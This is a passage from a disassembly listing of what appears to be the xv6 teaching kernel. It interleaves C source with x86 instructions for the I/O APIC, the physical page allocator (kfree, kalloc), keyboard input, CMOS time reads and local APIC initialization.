$0x10000,%ecx for(i = 0; i <= maxintr; i++){ 8010225b: 83 c0 01 add $0x1,%eax ioapic->data = data; 8010225e: 89 4b 10 mov %ecx,0x10(%ebx) 80102261: 8d 4a 01 lea 0x1(%edx),%ecx 80102264: 83 c2 02 add $0x2,%edx ioapic->reg = reg; 80102267: 89 0b mov %ecx,(%ebx) ioapic->data = data; 80102269: 8b 0d 34 26 11 80 mov 0x80112634,%ecx for(i = 0; i <= maxintr; i++){ 8010226f: 39 c6 cmp %eax,%esi ioapic->data = data; 80102271: c7 41 10 00 00 00 00 movl $0x0,0x10(%ecx) for(i = 0; i <= maxintr; i++){ 80102278: 7d ce jge 80102248 <ioapicinit+0x68> ioapicwrite(REG_TABLE+2*i+1, 0); } } 8010227a: 83 c4 10 add $0x10,%esp 8010227d: 5b pop %ebx 8010227e: 5e pop %esi 8010227f: 5d pop %ebp 80102280: c3 ret 80102281: eb 0d jmp 80102290 <ioapicenable> 80102283: 90 nop 80102284: 90 nop 80102285: 90 nop 80102286: 90 nop 80102287: 90 nop 80102288: 90 nop 80102289: 90 nop 8010228a: 90 nop 8010228b: 90 nop 8010228c: 90 nop 8010228d: 90 nop 8010228e: 90 nop 8010228f: 90 nop 80102290 <ioapicenable>: void ioapicenable(int irq, int cpunum) { 80102290: 55 push %ebp 80102291: 89 e5 mov %esp,%ebp 80102293: 8b 55 08 mov 0x8(%ebp),%edx 80102296: 53 push %ebx 80102297: 8b 45 0c mov 0xc(%ebp),%eax // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); 8010229a: 8d 5a 20 lea 0x20(%edx),%ebx 8010229d: 8d 4c 12 10 lea 0x10(%edx,%edx,1),%ecx ioapic->reg = reg; 801022a1: 8b 15 34 26 11 80 mov 0x80112634,%edx ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022a7: c1 e0 18 shl $0x18,%eax ioapic->reg = reg; 801022aa: 89 0a mov %ecx,(%edx) ioapic->data = data; 801022ac: 8b 15 34 26 11 80 mov 0x80112634,%edx ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022b2: 83 c1 01 add $0x1,%ecx ioapic->data = data; 801022b5: 89 5a 10 mov %ebx,0x10(%edx) ioapic->reg = reg; 801022b8: 89 0a mov %ecx,(%edx) ioapic->data = data; 801022ba: 8b 15 34 26 11 80 mov 0x80112634,%edx 801022c0: 89 42 10 mov %eax,0x10(%edx) } 801022c3: 5b pop %ebx 801022c4: 5d pop %ebp 801022c5: c3 ret 801022c6: 66 90 xchg %ax,%ax 801022c8: 66 90 xchg %ax,%ax 801022ca: 66 90 xchg %ax,%ax 801022cc: 66 90 xchg %ax,%ax 801022ce: 66 90 xchg %ax,%ax 801022d0 <kfree>: // which normally should have been returned by a // call to kalloc(). (The exception is when // initializing the allocator; see kinit above.) void kfree(char *v) { 801022d0: 55 push %ebp 801022d1: 89 e5 mov %esp,%ebp 801022d3: 53 push %ebx 801022d4: 83 ec 14 sub $0x14,%esp 801022d7: 8b 5d 08 mov 0x8(%ebp),%ebx struct run *r; if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP) 801022da: f7 c3 ff 0f 00 00 test $0xfff,%ebx 801022e0: 75 7c jne 8010235e <kfree+0x8e> 801022e2: 81 fb f4 58 11 80 cmp $0x801158f4,%ebx 801022e8: 72 74 jb 8010235e <kfree+0x8e> 801022ea: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 801022f0: 3d ff ff ff 0d cmp $0xdffffff,%eax 801022f5: 77 67 ja 8010235e <kfree+0x8e> panic("kfree"); // Fill with junk to catch dangling refs. memset(v, 1, PGSIZE); 801022f7: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 801022fe: 00 801022ff: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 80102306: 00 80102307: 89 1c 24 mov %ebx,(%esp) 8010230a: e8 51 1f 00 00 call 80104260 <memset> if(kmem.use_lock) 8010230f: 8b 15 74 26 11 80 mov 0x80112674,%edx 80102315: 85 d2 test %edx,%edx 80102317: 75 37 jne 80102350 <kfree+0x80> acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; 80102319: a1 78 26 11 80 mov 0x80112678,%eax 8010231e: 89 03 mov %eax,(%ebx) kmem.freelist = r; if(kmem.use_lock) 80102320: a1 74 26 11 80 mov 0x80112674,%eax kmem.freelist = r; 80102325: 89 1d 78 26 11 80 mov %ebx,0x80112678 if(kmem.use_lock) 8010232b: 85 c0 test %eax,%eax 8010232d: 75 09 jne 80102338 <kfree+0x68> release(&kmem.lock); } 8010232f: 83 c4 14 add $0x14,%esp 80102332: 5b pop %ebx 80102333: 5d pop %ebp 80102334: c3 ret 80102335: 8d 76 00 lea 0x0(%esi),%esi release(&kmem.lock); 80102338: c7 45 08 40 26 11 80 movl $0x80112640,0x8(%ebp) } 8010233f: 83 c4 14 add $0x14,%esp 80102342: 5b pop %ebx 80102343: 5d pop %ebp release(&kmem.lock); 80102344: e9 c7 1e 00 00 jmp 80104210 <release> 80102349: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi acquire(&kmem.lock); 80102350: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 80102357: e8 c4 1d 00 00 call 80104120 <acquire> 8010235c: eb bb jmp 80102319 <kfree+0x49> panic("kfree"); 8010235e: c7 04 24 66 70 10 80 movl $0x80107066,(%esp) 80102365: e8 f6 df ff ff call 80100360 <panic> 8010236a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102370 <freerange>: { 80102370: 55 push %ebp 80102371: 89 e5 mov %esp,%ebp 80102373: 56 push %esi 80102374: 53 push %ebx 80102375: 83 ec 10 sub $0x10,%esp p = (char*)PGROUNDUP((uint)vstart); 80102378: 8b 45 08 mov 0x8(%ebp),%eax { 8010237b: 8b 75 0c mov 0xc(%ebp),%esi p = (char*)PGROUNDUP((uint)vstart); 8010237e: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx 80102384: 81 e2 00 f0 ff ff and $0xfffff000,%edx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010238a: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx 80102390: 39 de cmp %ebx,%esi 80102392: 73 08 jae 8010239c <freerange+0x2c> 80102394: eb 18 jmp 801023ae <freerange+0x3e> 80102396: 66 90 xchg %ax,%ax 80102398: 89 da mov %ebx,%edx 8010239a: 89 c3 mov %eax,%ebx kfree(p); 8010239c: 89 14 24 mov %edx,(%esp) 8010239f: e8 2c ff ff ff call 801022d0 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023a4: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax 801023aa: 39 f0 cmp %esi,%eax 801023ac: 76 ea jbe 80102398 <freerange+0x28> } 801023ae: 83 c4 10 add $0x10,%esp 801023b1: 5b pop %ebx 801023b2: 5e pop %esi 801023b3: 5d pop %ebp 801023b4: c3 ret 801023b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801023b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801023c0 <kinit1>: { 801023c0: 55 push %ebp 801023c1: 89 e5 mov %esp,%ebp 801023c3: 56 push %esi 801023c4: 53 push %ebx 801023c5: 83 ec 10 sub $0x10,%esp 801023c8: 8b 75 0c mov 0xc(%ebp),%esi initlock(&kmem.lock, "kmem"); 801023cb: c7 44 24 04 6c 70 10 movl $0x8010706c,0x4(%esp) 801023d2: 80 801023d3: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 801023da: e8 51 1c 00 00 call 80104030 <initlock> p = (char*)PGROUNDUP((uint)vstart); 801023df: 8b 45 08 mov 0x8(%ebp),%eax kmem.use_lock = 0; 801023e2: c7 05 74 26 11 80 00 movl $0x0,0x80112674 801023e9: 00 00 00 p = (char*)PGROUNDUP((uint)vstart); 801023ec: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx 801023f2: 81 e2 00 f0 ff ff and $0xfffff000,%edx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023f8: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx 801023fe: 39 de cmp %ebx,%esi 80102400: 73 0a jae 8010240c <kinit1+0x4c> 80102402: eb 1a jmp 8010241e <kinit1+0x5e> 80102404: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102408: 89 da mov %ebx,%edx 8010240a: 89 c3 mov %eax,%ebx kfree(p); 8010240c: 89 14 24 mov %edx,(%esp) 8010240f: e8 bc fe ff ff call 801022d0 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102414: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax 8010241a: 39 c6 cmp %eax,%esi 8010241c: 73 ea jae 80102408 <kinit1+0x48> } 8010241e: 83 c4 10 add $0x10,%esp 80102421: 5b pop %ebx 80102422: 5e pop %esi 80102423: 5d pop %ebp 80102424: c3 ret 80102425: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102429: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102430 <kinit2>: { 80102430: 55 push %ebp 80102431: 89 e5 mov %esp,%ebp 80102433: 56 push %esi 80102434: 53 push %ebx 80102435: 83 ec 10 sub $0x10,%esp p = (char*)PGROUNDUP((uint)vstart); 80102438: 8b 45 08 mov 0x8(%ebp),%eax { 8010243b: 8b 75 0c mov 0xc(%ebp),%esi p = (char*)PGROUNDUP((uint)vstart); 8010243e: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx 80102444: 81 e2 00 f0 ff ff and $0xfffff000,%edx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010244a: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx 80102450: 39 de cmp %ebx,%esi 80102452: 73 08 jae 8010245c <kinit2+0x2c> 80102454: eb 18 jmp 8010246e <kinit2+0x3e> 80102456: 66 90 xchg %ax,%ax 80102458: 89 da mov %ebx,%edx 8010245a: 89 c3 mov %eax,%ebx kfree(p); 8010245c: 89 14 24 mov %edx,(%esp) 8010245f: e8 6c fe ff ff call 801022d0 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102464: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax 8010246a: 39 c6 cmp %eax,%esi 8010246c: 73 ea jae 80102458 <kinit2+0x28> kmem.use_lock = 1; 8010246e: c7 05 74 26 11 80 01 movl $0x1,0x80112674 80102475: 00 00 00 } 80102478: 83 c4 10 add $0x10,%esp 8010247b: 5b pop %ebx 8010247c: 5e pop %esi 8010247d: 5d pop %ebp 8010247e: c3 ret 8010247f: 90 nop 80102480 <kalloc>: // Allocate one 4096-byte page of physical memory. // Returns a pointer that the kernel can use. // Returns 0 if the memory cannot be allocated. char* kalloc(void) { 80102480: 55 push %ebp 80102481: 89 e5 mov %esp,%ebp 80102483: 53 push %ebx 80102484: 83 ec 14 sub $0x14,%esp struct run *r; if(kmem.use_lock) 80102487: a1 74 26 11 80 mov 0x80112674,%eax 8010248c: 85 c0 test %eax,%eax 8010248e: 75 30 jne 801024c0 <kalloc+0x40> acquire(&kmem.lock); r = kmem.freelist; 80102490: 8b 1d 78 26 11 80 mov 0x80112678,%ebx if(r) 80102496: 85 db test %ebx,%ebx 80102498: 74 08 je 801024a2 <kalloc+0x22> kmem.freelist = r->next; 8010249a: 8b 13 mov (%ebx),%edx 8010249c: 89 15 78 26 11 80 mov %edx,0x80112678 if(kmem.use_lock) 801024a2: 85 c0 test %eax,%eax 801024a4: 74 0c je 801024b2 <kalloc+0x32> release(&kmem.lock); 801024a6: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 801024ad: e8 5e 1d 00 00 call 80104210 <release> return (char*)r; } 801024b2: 83 c4 14 add $0x14,%esp 801024b5: 89 d8 mov %ebx,%eax 801024b7: 5b pop %ebx 801024b8: 5d pop %ebp 801024b9: c3 ret 801024ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi acquire(&kmem.lock); 801024c0: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 801024c7: e8 54 1c 00 00 call 80104120 <acquire> 801024cc: a1 74 26 11 80 mov 0x80112674,%eax 801024d1: eb bd jmp 80102490 <kalloc+0x10> 801024d3: 66 90 xchg %ax,%ax 801024d5: 66 90 xchg %ax,%ax 801024d7: 66 90 xchg %ax,%ax 801024d9: 66 90 xchg %ax,%ax 801024db: 66 90 xchg %ax,%ax 801024dd: 66 90 xchg %ax,%ax 801024df: 90 nop 801024e0 <kbdgetc>: asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801024e0: ba 64 00 00 00 mov $0x64,%edx 801024e5: ec in (%dx),%al normalmap, shiftmap, ctlmap, ctlmap }; uint st, data, c; st = inb(KBSTATP); if((st & KBS_DIB) == 0) 801024e6: a8 01 test $0x1,%al 801024e8: 0f 84 ba 00 00 00 je 801025a8 <kbdgetc+0xc8> 801024ee: b2 60 mov $0x60,%dl 801024f0: ec in (%dx),%al return -1; data = inb(KBDATAP); 801024f1: 0f b6 c8 movzbl %al,%ecx if(data == 0xE0){ 801024f4: 81 f9 e0 00 00 00 cmp $0xe0,%ecx 801024fa: 0f 84 88 00 00 00 je 80102588 <kbdgetc+0xa8> shift |= E0ESC; return 0; } else if(data & 0x80){ 80102500: 84 c0 test %al,%al 80102502: 79 2c jns 80102530 <kbdgetc+0x50> // Key released data = (shift & E0ESC ? data : data & 0x7F); 80102504: 8b 15 b4 a5 10 80 mov 0x8010a5b4,%edx 8010250a: f6 c2 40 test $0x40,%dl 8010250d: 75 05 jne 80102514 <kbdgetc+0x34> 8010250f: 89 c1 mov %eax,%ecx 80102511: 83 e1 7f and $0x7f,%ecx shift &= ~(shiftcode[data] | E0ESC); 80102514: 0f b6 81 a0 71 10 80 movzbl -0x7fef8e60(%ecx),%eax 8010251b: 83 c8 40 or $0x40,%eax 8010251e: 0f b6 c0 movzbl %al,%eax 80102521: f7 d0 not %eax 80102523: 21 d0 and %edx,%eax 80102525: a3 b4 a5 10 80 mov %eax,0x8010a5b4 return 0; 8010252a: 31 c0 xor %eax,%eax 8010252c: c3 ret 8010252d: 8d 76 00 lea 0x0(%esi),%esi { 80102530: 55 push %ebp 80102531: 89 e5 mov %esp,%ebp 80102533: 53 push %ebx 80102534: 8b 1d b4 a5 10 80 mov 0x8010a5b4,%ebx } else if(shift & E0ESC){ 8010253a: f6 c3 40 test $0x40,%bl 8010253d: 74 09 je 80102548 <kbdgetc+0x68> // Last character was an E0 escape; or with 0x80 data |= 0x80; 8010253f: 83 c8 80 or $0xffffff80,%eax shift &= ~E0ESC; 80102542: 83 e3 bf and $0xffffffbf,%ebx data |= 0x80; 80102545: 0f b6 c8 movzbl %al,%ecx } shift |= shiftcode[data]; 80102548: 0f b6 91 a0 71 10 80 movzbl -0x7fef8e60(%ecx),%edx shift ^= togglecode[data]; 8010254f: 0f b6 81 a0 70 10 80 movzbl -0x7fef8f60(%ecx),%eax shift |= shiftcode[data]; 80102556: 09 da or %ebx,%edx shift ^= togglecode[data]; 80102558: 31 c2 xor %eax,%edx c = charcode[shift & (CTL | SHIFT)][data]; 8010255a: 89 d0 mov %edx,%eax 8010255c: 83 e0 03 and $0x3,%eax 8010255f: 8b 04 85 80 70 10 80 mov -0x7fef8f80(,%eax,4),%eax shift ^= togglecode[data]; 80102566: 89 15 b4 a5 10 80 mov %edx,0x8010a5b4 if(shift & CAPSLOCK){ 8010256c: 83 e2 08 and $0x8,%edx c = charcode[shift & (CTL | SHIFT)][data]; 8010256f: 0f b6 04 08 movzbl (%eax,%ecx,1),%eax if(shift & CAPSLOCK){ 80102573: 74 0b je 80102580 <kbdgetc+0xa0> if('a' <= c && c <= 'z') 80102575: 8d 50 9f lea -0x61(%eax),%edx 80102578: 83 fa 19 cmp $0x19,%edx 8010257b: 77 1b ja 80102598 <kbdgetc+0xb8> c += 'A' - 'a'; 8010257d: 83 e8 20 sub $0x20,%eax else if('A' <= c && c <= 'Z') c += 'a' - 'A'; } return c; } 80102580: 5b pop %ebx 80102581: 5d pop %ebp 80102582: c3 ret 80102583: 90 nop 80102584: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi shift |= E0ESC; 80102588: 83 0d b4 a5 10 80 40 orl $0x40,0x8010a5b4 return 0; 8010258f: 31 c0 xor %eax,%eax 80102591: c3 ret 80102592: 8d b6 00 00 00 00 lea 0x0(%esi),%esi else if('A' <= c && c <= 'Z') 80102598: 8d 48 bf lea -0x41(%eax),%ecx c += 'a' - 'A'; 8010259b: 8d 50 20 lea 0x20(%eax),%edx 8010259e: 83 f9 19 cmp $0x19,%ecx 801025a1: 0f 46 c2 cmovbe %edx,%eax return c; 801025a4: eb da jmp 80102580 <kbdgetc+0xa0> 801025a6: 66 90 xchg %ax,%ax return -1; 801025a8: b8 ff ff ff ff mov $0xffffffff,%eax 801025ad: c3 ret 801025ae: 66 90 xchg %ax,%ax 801025b0 <kbdintr>: void kbdintr(void) { 801025b0: 55 push %ebp 801025b1: 89 e5 mov %esp,%ebp 801025b3: 83 ec 18 sub $0x18,%esp consoleintr(kbdgetc); 801025b6: c7 04 24 e0 24 10 80 movl $0x801024e0,(%esp) 801025bd: e8 ee e1 ff ff call 801007b0 <consoleintr> } 801025c2: c9 leave 801025c3: c3 ret 801025c4: 66 90 xchg %ax,%ax 801025c6: 66 90 xchg %ax,%ax 801025c8: 66 90 xchg %ax,%ax 801025ca: 66 90 xchg %ax,%ax 801025cc: 66 90 xchg %ax,%ax 801025ce: 66 90 xchg %ax,%ax 801025d0 <fill_rtcdate>: return inb(CMOS_RETURN); } static void fill_rtcdate(struct rtcdate *r) { 801025d0: 55 push %ebp 801025d1: 89 c1 mov %eax,%ecx 801025d3: 89 e5 mov %esp,%ebp asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801025d5: ba 70 00 00 00 mov $0x70,%edx 801025da: 53 push %ebx 801025db: 31 c0 xor %eax,%eax 801025dd: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801025de: bb 71 00 00 00 mov $0x71,%ebx 801025e3: 89 da mov %ebx,%edx 801025e5: ec in (%dx),%al return inb(CMOS_RETURN); 801025e6: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801025e9: b2 70 mov $0x70,%dl 801025eb: 89 01 mov %eax,(%ecx) 801025ed: b8 02 00 00 00 mov $0x2,%eax 801025f2: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801025f3: 89 da mov %ebx,%edx 801025f5: ec in (%dx),%al 801025f6: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801025f9: b2 70 mov $0x70,%dl 801025fb: 89 41 04 mov %eax,0x4(%ecx) 801025fe: b8 04 00 00 00 mov $0x4,%eax 80102603: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102604: 89 da mov %ebx,%edx 80102606: ec in (%dx),%al 80102607: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010260a: b2 70 mov $0x70,%dl 8010260c: 89 41 08 mov %eax,0x8(%ecx) 8010260f: b8 07 00 00 00 mov $0x7,%eax 80102614: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102615: 89 da mov %ebx,%edx 80102617: ec in (%dx),%al 80102618: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010261b: b2 70 mov $0x70,%dl 8010261d: 89 41 0c mov %eax,0xc(%ecx) 80102620: b8 08 00 00 00 mov $0x8,%eax 80102625: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102626: 89 da mov %ebx,%edx 80102628: ec in (%dx),%al 80102629: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010262c: b2 70 mov $0x70,%dl 8010262e: 89 41 10 mov %eax,0x10(%ecx) 80102631: b8 09 00 00 00 mov $0x9,%eax 80102636: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102637: 89 da mov %ebx,%edx 80102639: ec in (%dx),%al 8010263a: 0f b6 d8 movzbl %al,%ebx 8010263d: 89 59 14 mov %ebx,0x14(%ecx) r->minute = cmos_read(MINS); r->hour = cmos_read(HOURS); r->day = cmos_read(DAY); r->month = cmos_read(MONTH); r->year = cmos_read(YEAR); } 80102640: 5b pop %ebx 80102641: 5d pop %ebp 80102642: c3 ret 80102643: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102649: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102650 <lapicinit>: if(!lapic) 80102650: a1 7c 26 11 80 mov 0x8011267c,%eax { 80102655: 55 push %ebp 80102656: 89 e5 mov %esp,%ebp if(!lapic) 80102658: 85 c0 test %eax,%eax 8010265a: 0f 84 c0 00 00 00 je 80102720 <lapicinit+0xd0> lapic[index] = value; 80102660: c7 80 f0 00 00 00 3f movl $0x13f,0xf0(%eax) 80102667: 01 00 00 lapic[ID]; // wait for write to finish, by reading 8010266a: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010266d: c7 80 e0 03 00 00 0b movl $0xb,0x3e0(%eax) 80102674: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102677: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010267a: c7 80 20 03 00 00 20 movl $0x20020,0x320(%eax) 80102681: 00 02 00 lapic[ID]; // wait for write to finish, by reading 80102684: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102687: c7 80 80 03 00 00 80 movl $0x989680,0x380(%eax) 8010268e: 96 98 00 lapic[ID]; // wait for write to finish, by reading 80102691: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102694: c7 80 50 03 00 00 00 movl $0x10000,0x350(%eax) 8010269b: 00 01 00 lapic[ID]; // wait for write to finish, by reading 8010269e: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026a1: c7 80 60 03 00 00 00 movl $0x10000,0x360(%eax) 801026a8: 00 01 00 lapic[ID]; // wait for write to finish, by reading 801026ab: 8b 50 20 mov 0x20(%eax),%edx if(((lapic[VER]>>16) & 0xFF) >= 4) 801026ae: 8b 50 30 mov 0x30(%eax),%edx 801026b1: c1 ea 10 shr $0x10,%edx 801026b4: 80 fa 03 cmp $0x3,%dl 801026b7: 77 6f ja 80102728 <lapicinit+0xd8> lapic[index] = value; 801026b9: c7 80 70 03 00 00 33 movl $0x33,0x370(%eax) 801026c0: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026c3: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026c6: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 801026cd: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026d0: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026d3: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 801026da: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026dd: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026e0: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 801026e7: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026ea: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026ed: c7 80 10 03 00 00 00 movl $0x0,0x310(%eax) 801026f4: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026f7: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026fa: c7 80 00 03 00 00 00 movl $0x88500,0x300(%eax) 80102701: 85 08 00 lapic[ID]; // wait for write to finish, by reading 80102704: 8b 50 20 mov 0x20(%eax),%edx 80102707: 90 nop while(lapic[ICRLO] & DELIVS) 80102708: 8b 90 00 03 00 00 mov 0x300(%eax),%edx 8010270e: 80 e6 10 and $0x10,%dh 80102711: 75 f5 jne 80102708 <lapicinit+0xb8> lapic[index] = value; 80102713: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax) 8010271a: 00 00 00 lapic[ID]; // wait for write to finish, by reading 8010271d: 8b 40 20 mov 0x20(%eax),%eax } 80102720: 5d pop %ebp 80102721: c3 ret 80102722: 8d b6 00 00 00 00 lea 0x0(%esi),%esi lapic[index] = value; 80102728: c7 80 40 03 00 00 00 movl $0x10000,0x340(%eax) 8010272f: 00 01 00 lapic[ID]; // wait for write to finish, by reading 80102732: 8b 50 20 mov 0x20(%eax),%edx 80102735: eb 82 jmp 801026b9 <lapicinit+0x69> 80102737: 89 f6 mov %esi,%esi 80102739: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102740 <lapicid>: if (!lapic) 80102740: a1 7c 26 11 80 mov 0x8011267c,%eax { 80102745: 55 push %ebp 80102746: 89 e5 mov %esp,%ebp if (!lapic) 80102748: 85 c0 test %eax,%eax 8010274a: 74 0c je 80102758 <lapicid+0x18> return lapic[ID] >> 24; 8010274c: 8b 40 20 mov 0x20(%eax),%eax } 8010274f: 5d pop %ebp return lapic[ID] >> 24; 80102750: c1 e8 18 shr $0x18,%eax } 80102753: c3 ret 80102754: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return 0; 80102758: 31 c0 xor %eax,%eax } 8010275a: 5d pop %ebp 8010275b: c3 ret 8010275c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102760 <lapiceoi>: if(lapic) 80102760: a1 7c 26 11 80 mov 0x8011267c,%eax { 80102765: 55 push %ebp 80102766: 89 e5 mov %esp,%ebp if(lapic) 80102768: 85 c0 test %eax,%eax 8010276a: 74 0d je 80102779 <lapiceoi+0x19> lapic[index] = value; 8010276c: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 80102773: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102776: 8b 40 20 mov 0x20(%eax),%eax } 80102779: 5d pop %ebp 8010277a: c3 ret 8010277b: 90 nop 8010277c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102780 <microdelay>: { 80102780: 55 push %ebp 80102781: 89 e5 mov %esp,%ebp } 80102783: 5d pop %ebp 80102784: c3 ret 80102785: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102789: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102790 <lapicstartap>: { 80102790: 55 push %ebp asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102791: ba 70 00 00 00 mov $0x70,%edx 80102796: 89 e5 mov %esp,%ebp 80102798: b8 0f 00 00 00 mov $0xf,%eax 8010279d: 53 push %ebx 8010279e: 8b 4d 08 mov 0x8(%ebp),%ecx 801027a1: 8b 5d 0c mov 0xc(%ebp),%ebx 801027a4: ee out %al,(%dx) 801027a5: b8 0a 00 00 00 mov $0xa,%eax 801027aa: b2 71 mov $0x71,%dl 801027ac: ee out %al,(%dx) wrv[0] = 0; 801027ad: 31 c0 xor %eax,%eax 801027af: 66 a3 67 04 00 80 mov %ax,0x80000467 wrv[1] = addr >> 4; 801027b5: 89 d8 mov %ebx,%eax 801027b7: c1 e8 04 shr $0x4,%eax 801027ba: 66 a3 69 04 00 80 mov %ax,0x80000469 lapic[index] = value; 801027c0: a1 7c 26 11 80 mov 0x8011267c,%eax lapicw(ICRHI, apicid<<24); 801027c5: c1 e1 18 shl $0x18,%ecx lapicw(ICRLO, STARTUP | (addr>>12)); 801027c8: c1 eb 0c shr $0xc,%ebx lapic[index] = value; 801027cb: 89 88 10 03 00 00 mov %ecx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 801027d1: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801027d4: c7 80 00 03 00 00 00 movl $0xc500,0x300(%eax) 801027db: c5 00 00 lapic[ID]; // wait for write to finish, by reading 801027de: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801027e1: c7 80 00 03 00 00 00 movl $0x8500,0x300(%eax) 801027e8: 85 00 00 lapic[ID]; // wait for write to finish, by reading 801027eb: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801027ee: 89 88 10 03 00 00 mov %ecx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 801027f4: 8b 50 20 mov 0x20(%eax),%edx lapicw(ICRLO, STARTUP | (addr>>12)); 801027f7: 89 da mov %ebx,%edx 801027f9: 80 ce 06 or $0x6,%dh lapic[index] = value; 801027fc: 89 90 00 03 00 00 mov %edx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 80102802: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 80102805: 89 88 10 03 00 00 mov %ecx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 8010280b: 8b 48 20 mov 0x20(%eax),%ecx lapic[index] = value; 8010280e: 89 90 00 03 00 00 mov %edx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 80102814: 8b 40 20 mov 0x20(%eax),%eax } 80102817: 5b pop %ebx 80102818: 5d pop %ebp 80102819: c3 ret 8010281a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102820 <cmostime>: // qemu seems to use 24-hour GWT and the values are BCD encoded void cmostime(struct rtcdate *r) { 80102820: 55 push %ebp 80102821: ba 70 00 00 00 mov $0x70,%edx 80102826: 89 e5 mov %esp,%ebp 80102828: b8 0b 00 00 00 mov $0xb,%eax 8010282d: 57 push %edi 8010282e: 56 push %esi 8010282f: 53 push %ebx 80102830: 83 ec 4c sub $0x4c,%esp 80102833: ee out %al,(%dx) asm volatile("in %1,%0" : 